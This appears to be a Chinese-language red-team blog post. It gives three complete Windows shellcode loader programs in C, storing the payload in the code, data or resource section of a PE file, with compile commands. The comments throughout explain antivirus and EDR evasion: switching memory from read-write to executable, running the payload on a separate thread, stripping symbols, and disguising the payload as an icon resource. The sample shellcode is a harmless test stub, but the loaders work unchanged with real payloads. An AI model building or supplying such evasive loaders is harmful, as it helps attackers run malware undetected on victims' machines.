Payload存储技术

2025-8-26 75 8/26

Payload存储技术

代码段(Text)存储

  1. 理解:

代码段是PE文件默认的"可执行区域",编译器会把函数、执行逻辑都放在这里,直接将载荷作为代码段的一部分编译,程序运行时无需额外读取,直接执行。

  1. Dropper

    #include <windows.h>   // 引入Windows核心API(内存操作、线程创建等必须)
    #include <stdio.h>     // 引入标准输入输出(打印内存地址、暂停程序)
    #include <stdlib.h>    // 标准库(本示例未用到,可保留)
    #include <string.h>    // 字符串操作库(本示例未用到,可保留)
    
    int main(void) {
        // 1. 定义核心变量(红队实战中需注意变量命名,避免敏感特征)
        void* exec_mem;          // 用于存放载荷的可执行内存地址(核心变量)
        BOOL rv;                  // 接收VirtualProtect的返回值(判断内存属性修改是否成功)
        HANDLE th;                // 线程句柄(用于创建执行载荷的线程)
        DWORD oldprotect = 0;     // 保存内存原始保护属性(VirtualProtect要求的参数)
    
        // 2. 定义载荷(直接存储在代码段,红队测试用极简Shellcode)
        // 载荷说明:4字节测试载荷,无实际恶意功能,仅用于验证执行逻辑
        // 0x90=NOP(空指令,用于对齐/绕过简单检测)
        // 0xcc=INT3(断点指令,调试时会触发中断,测试用)
        // 0xc3=RET(返回指令,执行完后返回)
        unsigned char payload[] = {
            0x90,       // NOP - 空操作,无实际功能,仅填充/测试
            0x90,       // NOP - 同上
            0xcc,       // INT3 - 断点指令,执行到此处会触发调试中断(测试载荷执行的关键标记)
            0xc3        // RET - 返回指令,结束执行
        };
        unsigned int payload_len = 4;  // 载荷长度(固定4字节,需和payload数组长度一致)
    
        // 3. 分配可读写内存(红队免杀关键:先分配PAGE_READWRITE,避免直接分配可执行内存)
        // VirtualAlloc参数说明:
        // 第1个参数0:让系统自动选择内存地址
        // 第2个参数:分配的内存大小(与载荷长度一致)
        // 第3个参数:MEM_COMMIT(提交内存)+ MEM_RESERVE(保留内存)
        // 第4个参数:PAGE_READWRITE(初始为可读写,免杀关键:避开"可执行"初始属性)
        exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
        // 打印载荷原始地址和分配的内存地址(调试/验证用,红队上线需删除,避免特征)
        // payload地址:代码段中的原始地址(.text段)
        // exec_mem地址:新分配的可读写内存地址
        printf("%-20s : 0x%-016p\n", "payload addr", (void*)payload);
        printf("%-20s : 0x%-016p\n", "exec_mem addr", (void*)exec_mem);
    
        // 4. 将代码段中的载荷复制到新分配的内存中
        // RtlMoveMemory:Windows底层内存拷贝函数(比memcpy更稳定,红队常用)
        // 作用:把代码段里的payload复制到exec_mem指向的可读写内存
        RtlMoveMemory(exec_mem, payload, payload_len);
    
        // 5. 修改内存属性为"可执行+可读"
        // VirtualProtect参数说明:
        // 第1个参数:要修改属性的内存起始地址
        // 第2个参数:修改的内存大小
        // 第3个参数:PAGE_EXECUTE_READ(可执行+可读,避免PAGE_EXECUTE_READWRITE高危属性)
        // 第4个参数:保存原始属性的变量地址
        // 红队意义:先分配可读写,再改为可执行,避开杀软对"可写可执行"内存的监控
        rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    
        // 暂停程序
        // 作用:让用户按回车后再执行载荷,方便查看内存地址、调试
        printf("\nHit me!\n");
        getchar();
    
        // 6. 验证内存属性修改成功后,创建线程执行载荷
        // 红队意义:用CreateThread执行载荷,而非直接调用,降低行为检测概率
        if (rv != 0) {  // rv!=0表示VirtualProtect成功
            // CreateThread参数说明:
            // 第1个参数0:默认安全属性
            // 第2个参数0:默认栈大小
            // 第3个参数:线程执行函数(此处指向载荷内存地址)
            // 第4个参数:传递给线程的参数(0=无)
            // 第5个参数0:创建后立即运行
            // 第6个参数0:不获取线程ID
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
            // 等待线程执行完成(-1=INFINITE,无限等待)
            WaitForSingleObject(th, -1);
        }
    
        return 0;
    }

    编译命令

    gcc tdropper.cpp -o tdropper.exe -s

    参数解析:

    -o 是指定输出文件的参数,dropper.exe 是编译后生成的可执行文件名称

    -s 剥离符号表(strip),作用是移除可执行文件中的符号信息(如函数名、变量名、调试信息等)。

数据段 (Data) 存储

  1. 理解:

    数据段(.data 段)是 PE 文件用于存储全局 / 静态变量的区域,默认属性为 “可读可写不可执行”。将载荷存储在数据段,相比代码段更隐蔽(代码段易被特征扫描),红队实战中常通过这种方式规避 “代码段硬编码 Shellcode” 的检测特征。

  2. Dropper

#include <windows.h>   // 引入Windows核心API(内存操作、线程创建等必须)
#include <stdio.h>     // 引入标准输入输出(打印内存地址、暂停程序)
#include <stdlib.h>    
#include <string.h>    

// 2. 定义载荷(存储在数据段核心特征:全局变量)
// 载荷说明:4字节测试载荷,无实际恶意功能,仅用于验证执行逻辑
// 0x90=NOP(空指令,用于对齐/绕过简单检测)
// 0xcc=INT3(断点指令,调试时会触发中断,测试用)
// 0xc3=RET(返回指令,执行完后返回)
// 全局变量特征:编译后自动归入.data段,而非.text段,规避代码段特征检测
unsigned char payload[] = {
    0x90,       // NOP - 空操作,无实际功能,仅填充/测试
    0x90,       // NOP - 同上
    0xcc,       // INT3 - 断点指令,执行到此处会触发调试中断(测试载荷执行的关键标记)
    0xc3        // RET - 返回指令,结束执行
};
unsigned int payload_len = 4;  // 载荷长度(固定4字节,需和payload数组长度一致)

int main(void) {
    // 1. 定义核心变量(红队实战中需注意变量命名,避免敏感特征)
    void* exec_mem;          // 用于存放载荷的可执行内存地址(核心变量)
    BOOL rv;                  // 接收VirtualProtect的返回值(判断内存属性修改是否成功)
    HANDLE th;                // 线程句柄(用于创建执行载荷的线程)
    DWORD oldprotect = 0;     // 保存内存原始保护属性(VirtualProtect要求的参数)

    // 3. 分配可读写内存(红队免杀关键:先分配PAGE_READWRITE,避免直接分配可执行内存)
    // VirtualAlloc参数说明:
    // 第1个参数0:让系统自动选择内存地址
    // 第2个参数:分配的内存大小(与载荷长度一致)
    // 第3个参数:MEM_COMMIT(提交内存)+ MEM_RESERVE(保留内存)
    // 第4个参数:PAGE_READWRITE(初始为可读写,免杀关键:避开"可执行"初始属性)
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 打印载荷原始地址和分配的内存地址(调试/验证用,红队上线需删除,避免特征)
    // payload地址:数据段中的原始地址(.data段)
    // exec_mem地址:新分配的可读写内存地址
    printf("%-20s : 0x%-016p\n", "payload addr", (void*)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void*)exec_mem);

    // 4. 将数据段中的载荷复制到新分配的内存中
    // RtlMoveMemory:Windows底层内存拷贝函数(比memcpy更稳定,红队常用)
    // 作用:把数据段里的payload复制到exec_mem指向的可读写内存
    // 核心必要性:数据段默认不可执行,必须拷贝到可执行内存才能运行
    RtlMoveMemory(exec_mem, payload, payload_len);

    // 5. 修改内存属性为"可执行+可读"
    // VirtualProtect参数说明:
    // 第1个参数:要修改属性的内存起始地址
    // 第2个参数:修改的内存大小
    // 第3个参数:PAGE_EXECUTE_READ(可执行+可读,避免PAGE_EXECUTE_READWRITE高危属性)
    // 第4个参数:保存原始属性的变量地址
    // 红队意义:先分配可读写,再改为可执行,避开杀软对"可写可执行"内存的监控
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    // 暂停程序
    // 作用:让用户按回车后再执行载荷,方便查看内存地址、调试
    printf("\nHit me!\n");
    getchar();

    // 6. 验证内存属性修改成功后,创建线程执行载荷
    // 红队意义:用CreateThread执行载荷,而非直接调用,降低行为检测概率
    if (rv != 0) {  // rv!=0表示VirtualProtect成功
        // CreateThread参数说明:
        // 第1个参数0:默认安全属性
        // 第2个参数0:默认栈大小
        // 第3个参数:线程执行函数(此处指向载荷内存地址)
        // 第4个参数:传递给线程的参数(0=无)
        // 第5个参数0:创建后立即运行
        // 第6个参数0:不获取线程ID
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        // 等待线程执行完成(-1=INFINITE,无限等待)
        WaitForSingleObject(th, -1);
    }

    return 0;
}

编译命令

gcc ddropper.c -o ddropper.exe -s

资源段 (Resource) 存储

  1. 理解:

    资源段(.rsrc 段)是 PE 文件用于存储图标、字符串、二进制数据等资源的区域,将载荷伪装成合法资源(如图标、配置文件)存储在此段,是红队核心免杀手法之一 —— 相比代码段 / 数据段,资源段更难被 AV/EDR 的静态特征扫描识别,且可通过 “资源编译工具” 将载荷嵌入,避免硬编码特征。

  2. 前置准备:

    • 步骤 1:创建资源定义文件(

      resource.rc

      ),将 Shellcode 作为二进制资源嵌入:

      // resource.rc 内容
      #include "resources.h"
      // 定义资源ID:FAVICON_ICO,类型:RT_RCDATA(二进制数据),关联载荷文件(payload.bin)
      FAVICON_ICO RCDATA "payload.bin"
    • 步骤 2:创建资源头文件(

      resources.h

      ),定义资源 ID 常量:

      // resources.h 内容
      #define FAVICON_ICO 101  // 自定义资源ID(101为示例,避免与系统默认ID冲突)
    • 步骤 3:将 Shellcode 保存为二进制文件(payload.bin),例如将测试载荷(0x90,0x90,0xcc,0xc3)写入该文件。

    • 步骤 4:编译资源文件为目标文件(需用 MinGW 的 windres 工具):

      windres resource.rc -o resource.o
  3. Dropper

#include <windows.h>   // 引入Windows核心API(内存操作、线程创建、资源读取等必须)
#include <stdio.h>     // 引入标准输入输出(打印内存地址、暂停程序)
#include <stdlib.h>    // 标准库(本示例未用到,可保留)
#include <string.h>    // 字符串操作库(本示例未用到,可保留)
#include "resources.h" // 引入资源头文件,包含资源ID定义(FAVICON_ICO)

int main(void) {
    // 1. 定义核心变量
    void* exec_mem;          // 用于存放载荷的可执行内存地址(核心变量)
    BOOL rv;                  // 接收VirtualProtect的返回值(判断内存属性修改是否成功)
    HANDLE th;                // 线程句柄(用于创建执行载荷的线程)
    DWORD oldprotect = 0;     // 保存内存原始保护属性(VirtualProtect要求的参数)
    HGLOBAL resHandle = NULL; // 资源句柄,用于加载资源到内存
    HRSRC res;                // 资源定位符,用于查找资源段中的载荷
    
    unsigned char* payload;   // 指向资源段中载荷的指针
    unsigned int payload_len; // 载荷长度(从资源段中动态获取,避免硬编码)

    // 2. 从资源段提取载荷(核心步骤:红队免杀关键)
    // FindResource参数说明:
    // 第1个参数NULL:当前模块(自身程序)
    // 第2个参数MAKEINTRESOURCE(FAVICON_ICO):资源ID(对应resource.rc中的FAVICON_ICO)
    // 第3个参数RT_RCDATA:资源类型(二进制数据,避免图标/字符串等易被识别的类型)
    res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
    if (res == NULL) { // 增加错误处理:资源查找失败
        printf("[-] 查找资源失败,错误码:%d\n", GetLastError());
        getchar();
        return -1;
    }

    // LoadResource:将资源加载到内存(仅分配句柄,未解锁)
    resHandle = LoadResource(NULL, res);
    if (resHandle == NULL) { // 增加错误处理:资源加载失败
        printf("[-] 加载资源失败,错误码:%d\n", GetLastError());
        getchar();
        return -1;
    }

    // LockResource:解锁资源,获取载荷在内存中的起始地址(资源段地址)
    payload = (unsigned char*)LockResource(resHandle);
    // SizeofResource:获取资源段中载荷的长度(动态适配,无需硬编码)
    payload_len = SizeofResource(NULL, res);

    // 3. 分配可读写内存(红队免杀关键:先分配PAGE_READWRITE,避免直接分配可执行内存)
    // VirtualAlloc参数说明:
    // 第1个参数0:让系统自动选择内存地址
    // 第2个参数payload_len:从资源段动态获取的载荷长度
    // 第3个参数MEM_COMMIT | MEM_RESERVE:常规内存分配方式
    // 第4个参数PAGE_READWRITE:初始为可读写,避开"可执行"初始属性
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (exec_mem == NULL) { // 增加错误处理:内存分配失败
        printf("[-] 内存分配失败,错误码:%d\n", GetLastError());
        getchar();
        return -1;
    }

    // 打印载荷原始地址和分配的内存地址(调试/验证用,红队上线需删除,避免特征)
    // payload地址:资源段中的原始地址(.rsrc段)
    // exec_mem地址:新分配的可读写内存地址
    printf("%-20s : 0x%-016p\n", "payload addr", (void*)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void*)exec_mem);

    // 4. 将资源段中的载荷复制到新分配的内存中
    // RtlMoveMemory:Windows底层内存拷贝函数(比memcpy更稳定,红队常用)
    // 核心必要性:资源段默认不可执行,必须拷贝到可执行内存才能运行
    RtlMoveMemory(exec_mem, payload, payload_len);

    // 5. 修改内存属性为"可执行+可读"
    // VirtualProtect参数说明:
    // 第1个参数exec_mem:要修改属性的内存起始地址
    // 第2个参数payload_len:修改的内存大小(动态适配载荷长度)
    // 第3个参数PAGE_EXECUTE_READ:可执行+可读,避免高危的PAGE_EXECUTE_READWRITE
    // 第4个参数&oldprotect:保存原始属性的变量地址
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    if (rv == FALSE) { // 增加错误处理:内存属性修改失败
        printf("[-] 内存属性修改失败,错误码:%d\n", GetLastError());
        VirtualFree(exec_mem, 0, MEM_RELEASE); // 释放已分配内存
        getchar();
        return -1;
    }

    // 暂停程序
    // 作用:让用户按回车后再执行载荷,方便查看内存地址、调试
    printf("\nHit me!\n");
    getchar();

    // 6. 验证内存属性修改成功后,创建线程执行载荷
    // 红队意义:用CreateThread执行载荷,而非直接调用,降低行为检测概率
    if (rv != 0) {  // rv!=0表示VirtualProtect成功
        // CreateThread参数说明:
        // 第1个参数0:默认安全属性
        // 第2个参数0:默认栈大小
        // 第3个参数(LPTHREAD_START_ROUTINE)exec_mem:指向载荷内存地址的线程函数指针
        // 第4个参数0:无参数传递给线程
        // 第5个参数0:创建后立即运行
        // 第6个参数0:不获取线程ID
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        if (th == NULL) { // 增加错误处理:线程创建失败
            printf("[-] 线程创建失败,错误码:%d\n", GetLastError());
            VirtualFree(exec_mem, 0, MEM_RELEASE);
            getchar();
            return -1;
        }
        // 等待线程执行完成(-1=INFINITE,无限等待)
        WaitForSingleObject(th, -1);
        // 关闭线程句柄,清理资源(红队实战中避免句柄泄漏)
        CloseHandle(th);
    }

    // 释放已分配内存,清理痕迹(红队实战中减少内存泄漏)
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

编译命令(分两步,先编译资源,再编译主程序)

# 步骤1:编译资源文件为目标文件(resource.o)
windres resource.rc -o resource.o
# 步骤2:编译主程序,链接资源文件
gcc rdropper.c resource.o -o rdropper.exe -s

参数解析:

  • windres resource.rc -o resource.o:将资源定义文件(resource.rc)编译为目标文件(resource.o),嵌入载荷到资源段;

  • resource.o:链接资源目标文件,使主程序包含资源段和嵌入的载荷。

总结

Shellcode存储于代码段,即将其放到主函数main里面

Shellcode存储于数据段,即将其放在main函数外面作为全局变量定义

Shellcode存储于资源段,即将其脱离代码以二进制资源嵌入程序

根据隐蔽性,自然是最后一个免杀效果最好。

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论